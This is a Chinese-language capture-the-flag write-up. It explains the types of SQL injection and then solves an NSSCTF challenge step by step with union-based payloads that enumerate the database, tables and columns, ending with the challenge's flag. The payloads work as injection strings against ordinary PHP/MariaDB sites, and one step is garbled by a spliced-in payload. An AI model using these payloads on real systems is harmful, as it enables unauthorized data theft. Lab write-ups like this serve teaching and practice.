做题前必备知识:
参考链接:https://www.php.cn/faq/480557.html(SQL注入原理以及分类)
SQL 注入原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL 注入分类
数字型注入
当输入的参数为整型时,则有可能存在数字型注入漏洞。
假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1
判断数字型漏洞的 SQL 注入点:
① 先在输入框中输入一个单引号 '
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1',
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。
③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。
字符型注入
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。
假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = 'admin'
判断字符型漏洞的 SQL 注入点:
① 还是先输入单引号 admin' 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = 'admin''。
页面异常。
② 输入:admin' and 1 = 1 --
注意:在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --(两条杠后面还有一个空格!!!)。
SQL 语句变为:SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
页面显示正确。
③ 输入:admin' and 1 = 2 --
SQL 语句变为:<
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
页面错误。
满足上面三个步骤则有可能存在字符型 SQL 注入。
3.搜索型注入
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
以下是一些常见的注入叫法:
POST注入:注入字段在 POST 数据中
Cookie注入:注入字段在 Cookie 数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地方
base64注入:注入字符串需要经过 base64 加密
打开题目环境:
显示结果:
球球你输入点东西吧!
注意看标签:
参数是wllm
没看见没关系,F12查看源代码也可以看到。
初试题目:
拼接参数:
url/?wllm
无回显结果
url/?wllm=1
有回显结果:
Your Login name:xxx
Your Password:yyy
判断是否存在SQL字符型漏洞:
1. url/?wllm=1'(注意英文单引号闭合!)?wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
2. url/?wllm='
有回显结果:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
显示报错信息,故存在SQL字符型注入漏洞
开始解题,拿flag:
存在SQL字符型注入漏洞,进而去尝试判断字段列数
1. url/?wllm=1' order by 1--+ | 1. url/?wllm=1' group by 1--+
2. url/?wllm=1' order by 2--+ | 2. url/?wllm=1' group by 2--+
3. url/?wllm=1' order by 3--+ | 3. url/?wllm=1' group by 3--+
4. url/?wllm=1' order by 4--+ | 4. url/?wllm=1' group by 4--+
4的回显结果报错:
Unknown column '4' in 'order clause'
故此数据列表只有3列
好了清楚字段列数就好多了
现在我们去查各个列数对应的列名:
url/?wllm=0' union select 1,2,3--+ (只有1有回显结果,必须让参数值错误才可以执行后面的代码!)
回显结果:
Your Login name:2
Your Password:3
由于flag通常是密码的意思,所以判断flag信息在第3列。
查第3列数据库:
url/?wllm=0' union select 1,2,database()--+
回显结果为:
Your Login name:2
Your Password:test_db
第3列数据库名为test_db
知识补充:
GROUP_CONCAT函数用于将GROUP BY产生的同一个分组中的值连接起来,返回一个字符串结果
GROUP_CONCAT函数首先根据GROUP BY指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔,由函数参数(字段名)决定要返回的列
GROUP_CONCAT([DISTINCT] 要连接的字段 [ORDER BY 排序字段 ASC/DESC] [SEPARATOR '分隔符'])
查test_db数据库里面的数据表名:
url/?wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
回显结果为:
Your Login name:2
Your Password:test_tb,users
test_db数据库的数据表名为test_tb
爆字段:
url/?wllm=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
回显结果为:
Your Login name:2
Your Password:id,flag
可以看出存在flag字段并且对应名为id的用户
爆flag字段,查看flag字段里面的内容
url/?wllm=0' union select 1,2,group_concat(id,flag) from test_tb--+
返回结果:
Your Login name:2
Your Password:1NSSCTF{418f8085-4c7c-44cf-9b7e-4922defa478e}
flag值:
NSSCTF{418f8085-4c7c-44cf-9b7e-4922defa478e}